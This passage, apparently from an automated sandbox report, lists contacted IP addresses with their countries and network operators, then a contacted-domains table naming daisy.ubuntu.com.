 unknown United States
7377 UCSDUS false
196.73.63.18
 unknown Morocco
6713 IAM-ASMA false
21.240.77.228
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
151.238.141.125
 unknown Iran (ISLAMIC Republic Of)
31549 RASANAIR false
19.233.180.201
 unknown United States
3 MIT-GATEWAYSUS false
11.143.196.156
 unknown United States
3356 LEVEL3US false
215.216.251.166
 unknown United States
721 DNIC-ASBLK-00721-00726US false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true